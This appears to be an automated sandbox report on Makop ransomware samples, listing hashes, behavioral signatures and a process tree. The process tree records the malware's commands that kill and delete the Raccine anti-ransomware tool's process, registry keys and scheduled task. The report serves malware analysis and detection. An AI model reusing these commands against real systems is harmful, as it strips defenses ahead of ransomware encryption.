Overview
overview
10Static
static
100361e25d7f...le.exe
windows7_x64
100361e25d7f...le.exe
windows10_x64
10121c11c405...le.exe
windows7_x64
9121c11c405...le.exe
windows10_x64
916e6e08c37...le.exe
windows7_x64
916e6e08c37...le.exe
windows10_x64
91d4db8733c...le.exe
windows7_x64
101d4db8733c...le.exe
windows10_x64
101e189b1013...le.exe
windows7_x64
101e189b1013...le.exe
windows10_x64
102033194ab3...le.exe
windows7_x64
102033194ab3...le.exe
windows10_x64
821dd66ef4b...le.exe
windows7_x64
1021dd66ef4b...le.exe
windows10_x64
102d3d1b8306...le.exe
windows7_x64
82d3d1b8306...le.exe
windows10_x64
847b51b615f...le.exe
windows7_x64
1047b51b615f...le.exe
windows10_x64
84fefb51009...le.exe
windows7_x64
104fefb51009...le.exe
windows10_x64
105026eddb6f...le.exe
windows7_x64
105026eddb6f...le.exe
windows10_x64
1050ece411c1...le.exe
windows7_x64
1050ece411c1...le.exe
windows10_x64
10551129c0d4...le.exe
windows7_x64
551129c0d4...le.exe
windows10_x64
1058bfb9fa88...le.exe
windows7_x64
58bfb9fa88...le.exe
windows10_x64
105e088eb0eb...le.exe
windows7_x64
105e088eb0eb...le.exe
windows10_x64
105e998fa65c...le.exe
windows7_x64
105e998fa65c...le.exe
windows10_x64
10Analysis
-
max time kernel
149s -
max time network
204s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
28-05-2021 09:57
Static task
static1
Behavioral task
behavioral1
Sample
0361e25d7f958c3e5f76eb62917004939f40c020e2303c97ab8be431199baa6f.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
0361e25d7f958c3e5f76eb62917004939f40c020e2303c97ab8be431199baa6f.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
121c11c4054bce9730e87051eb734241b787ed4b5523db2c1226c29776501717.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
121c11c4054bce9730e87051eb734241b787ed4b5523db2c1226c29776501717.bin.sample.exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
16e6e08c37a95acc32a5f05db98e1dab07d52e3ab4ee415c67c8aaa006e8179d.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
16e6e08c37a95acc32a5f05db98e1dab07d52e3ab4ee415c67c8aaa006e8179d.bin.sample.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.bin.sample.exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
1e189b1013b6fc1b32514c7ff98962fc49563b9027798e71bc7755a525530514.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
1e189b1013b6fc1b32514c7ff98962fc49563b9027798e71bc7755a525530514.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
2033194ab3c2602eb9d3b31eeb5432514c423eac213f1219e5865dfee371ed58.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral12
Sample
2033194ab3c2602eb9d3b31eeb5432514c423eac213f1219e5865dfee371ed58.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
21dd66ef4b2d0bf877fd6386c3dbc43457f982f5f67eed23c8b7c34234cda448.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral14
Sample
21dd66ef4b2d0bf877fd6386c3dbc43457f982f5f67eed23c8b7c34234cda448.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
2d3d1b83067859ebb118ff1a99ac098806b65f566df094fad9a4debef4da911d.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
2d3d1b83067859ebb118ff1a99ac098806b65f566df094fad9a4debef4da911d.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
4fefb51009b09d77ae3300be1f350dd0d301cbaac75b50053dcf1a39673302b7.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
4fefb51009b09d77ae3300be1f350dd0d301cbaac75b50053dcf1a39673302b7.bin.sample.exe
Resource
win10v20210408
Behavioral task
behavioral21
Sample
5026eddb6f757aba5701d674a948372f2436756ee6a72c95228801a782f649cd.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
5026eddb6f757aba5701d674a948372f2436756ee6a72c95228801a782f649cd.bin.sample.exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
50ece411c1c1a69d1c495e7aa6af8e812dfa08dfd987e096ce57707da1054f85.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
50ece411c1c1a69d1c495e7aa6af8e812dfa08dfd987e096ce57707da1054f85.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
551129c0d4dbeab8bef925857df93715036503429afedac79f5d8d1a1b9fcd5c.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral26
Sample
551129c0d4dbeab8bef925857df93715036503429afedac79f5d8d1a1b9fcd5c.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral28
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
5e088eb0eb669be278eeef2204005e705c88f5a215e985b53dc42b4f9853b4e4.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral30
Sample
5e088eb0eb669be278eeef2204005e705c88f5a215e985b53dc42b4f9853b4e4.bin.sample.exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
Resource
win10v20210408
General
-
Target
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe
-
Size
117KB
-
MD5
acd3a6e3d27a498abc76a1b336f3493d
-
SHA1
3550505124d4f2a7f6837cfab0593dcb48e0b192
-
SHA256
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125
-
SHA512
80afb4ecf4b023b4d21c33d5dbff430df75e2bfef974b072f5edb891bb633fab629012eda3e9ec5935910cabaf0e36d7b1ce76ae712da3df3d6c95f8f34cebf8
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
makop
Signatures
-
Makop
Ransomware family discovered by @VK_Intel in early 2020.
-
Modifies Windows Firewall 1 TTPs
-
Drops startup file 1 IoCs
Processes:
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe -
Modifies file permissions 1 TTPs 3 IoCs
Processes:
icacls.exeicacls.exeicacls.exepid process 1748 icacls.exe 864 icacls.exe 2916 icacls.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 48 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 2232 taskkill.exe 2176 taskkill.exe 2528 taskkill.exe 2840 taskkill.exe 2984 taskkill.exe 2168 taskkill.exe 2708 taskkill.exe 2216 taskkill.exe 2448 taskkill.exe 2760 taskkill.exe 2900 taskkill.exe 2928 taskkill.exe 2288 taskkill.exe 2116 taskkill.exe 1596 taskkill.exe 2268 taskkill.exe 2724 taskkill.exe 2112 taskkill.exe 2872 taskkill.exe 2888 taskkill.exe 1884 taskkill.exe 2016 taskkill.exe 752 taskkill.exe 1008 taskkill.exe 2304 taskkill.exe 2772 taskkill.exe 1520 taskkill.exe 1388 taskkill.exe 2376 taskkill.exe 1812 taskkill.exe 2152 taskkill.exe 2752 taskkill.exe 2736 taskkill.exe 2516 taskkill.exe 2428 taskkill.exe 3048 taskkill.exe 2612 taskkill.exe 472 taskkill.exe 2504 taskkill.exe 2420 taskkill.exe 2548 taskkill.exe 3012 taskkill.exe 2968 taskkill.exe 1824 taskkill.exe 1888 taskkill.exe 3036 taskkill.exe 2220 taskkill.exe 1140 taskkill.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exepid process 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe -
Suspicious use of AdjustPrivilegeToken 49 IoCs
Processes:
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exedescription pid process Token: SeDebugPrivilege 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe Token: SeDebugPrivilege 1520 taskkill.exe Token: SeDebugPrivilege 2232 taskkill.exe Token: SeDebugPrivilege 1388 taskkill.exe Token: SeDebugPrivilege 2168 taskkill.exe Token: SeDebugPrivilege 2112 taskkill.exe Token: SeDebugPrivilege 2448 taskkill.exe Token: SeDebugPrivilege 2420 taskkill.exe Token: SeDebugPrivilege 2548 taskkill.exe Token: SeDebugPrivilege 2376 taskkill.exe Token: SeDebugPrivilege 2612 taskkill.exe Token: SeDebugPrivilege 2760 taskkill.exe Token: SeDebugPrivilege 2708 taskkill.exe Token: SeDebugPrivilege 2872 taskkill.exe Token: SeDebugPrivilege 472 taskkill.exe Token: SeDebugPrivilege 2900 taskkill.exe Token: SeDebugPrivilege 3012 taskkill.exe Token: SeDebugPrivilege 2928 taskkill.exe Token: SeDebugPrivilege 2516 taskkill.exe Token: SeDebugPrivilege 2504 taskkill.exe Token: SeDebugPrivilege 2888 taskkill.exe Token: SeDebugPrivilege 2288 taskkill.exe Token: SeDebugPrivilege 2216 taskkill.exe Token: SeDebugPrivilege 2176 taskkill.exe Token: SeDebugPrivilege 2116 taskkill.exe Token: SeDebugPrivilege 2428 taskkill.exe Token: SeDebugPrivilege 2968 taskkill.exe Token: SeDebugPrivilege 1884 taskkill.exe Token: SeDebugPrivilege 2016 taskkill.exe Token: SeDebugPrivilege 752 taskkill.exe Token: SeDebugPrivilege 1812 taskkill.exe Token: SeDebugPrivilege 1008 taskkill.exe Token: SeDebugPrivilege 1596 taskkill.exe Token: SeDebugPrivilege 3048 taskkill.exe Token: SeDebugPrivilege 1888 taskkill.exe Token: SeDebugPrivilege 3036 taskkill.exe Token: SeDebugPrivilege 2268 taskkill.exe Token: SeDebugPrivilege 2220 taskkill.exe Token: SeDebugPrivilege 2152 taskkill.exe Token: SeDebugPrivilege 2304 taskkill.exe Token: SeDebugPrivilege 2528 taskkill.exe Token: SeDebugPrivilege 2724 taskkill.exe Token: SeDebugPrivilege 2752 taskkill.exe Token: SeDebugPrivilege 2840 taskkill.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeDebugPrivilege 2772 taskkill.exe Token: SeDebugPrivilege 2736 taskkill.exe Token: SeDebugPrivilege 1140 taskkill.exe Token: SeDebugPrivilege 2256 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exepid process 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exepid process 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exenet.exenet.exenet.exedescription pid process target process PID 1248 wrote to memory of 1520 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe taskkill.exe PID 1248 wrote to memory of 1520 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe taskkill.exe PID 1248 wrote to memory of 1520 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe taskkill.exe PID 1248 wrote to memory of 624 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe reg.exe PID 1248 wrote to memory of 624 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe reg.exe PID 1248 wrote to memory of 624 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe reg.exe PID 1248 wrote to memory of 600 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe reg.exe PID 1248 wrote to memory of 600 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe reg.exe PID 1248 wrote to memory of 600 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe reg.exe PID 1248 wrote to memory of 784 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe schtasks.exe PID 1248 wrote to memory of 784 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe schtasks.exe PID 1248 wrote to memory of 784 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe schtasks.exe PID 1248 wrote to memory of 1200 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe cmd.exe PID 1248 wrote to memory of 1200 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe cmd.exe PID 1248 wrote to memory of 1200 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe cmd.exe PID 1248 wrote to memory of 552 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 552 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 552 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1000 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1000 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1000 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 368 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 368 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 368 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 768 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe cmd.exe PID 1248 wrote to memory of 768 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe cmd.exe PID 1248 wrote to memory of 768 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe cmd.exe PID 1248 wrote to memory of 1360 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1360 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1360 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 964 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 964 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 964 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1500 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1500 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1500 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1952 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1952 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1952 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 1280 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe netsh.exe PID 1248 wrote to memory of 1280 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe netsh.exe PID 1248 wrote to memory of 1280 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe netsh.exe PID 1248 wrote to memory of 948 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 948 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 948 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe sc.exe PID 1248 wrote to memory of 672 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 672 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 672 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 1516 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 1516 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 1516 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 1492 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 1492 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 1248 wrote to memory of 1492 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe PID 672 wrote to memory of 792 672 net.exe net1.exe PID 672 wrote to memory of 792 672 net.exe net1.exe PID 672 wrote to memory of 792 672 net.exe net1.exe PID 1516 wrote to memory of 432 1516 net.exe net1.exe PID 1516 wrote to memory of 432 1516 net.exe net1.exe PID 1516 wrote to memory of 432 1516 net.exe net1.exe PID 1492 wrote to memory of 1132 1492 net.exe net1.exe PID 1492 wrote to memory of 1132 1492 net.exe net1.exe PID 1492 wrote to memory of 1132 1492 net.exe net1.exe PID 1248 wrote to memory of 336 1248 47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe"C:\Users\Admin\AppData\Local\Temp\47b51b615fe22292caf30a30a4d4057cf57a283a61045190b2a2331b763b6125.bin.sample.exe"1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1520
-
-
C:\Windows\system32\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵PID:624
-
-
C:\Windows\system32\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
PID:600
-
-
C:\Windows\system32\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵PID:784
-
-
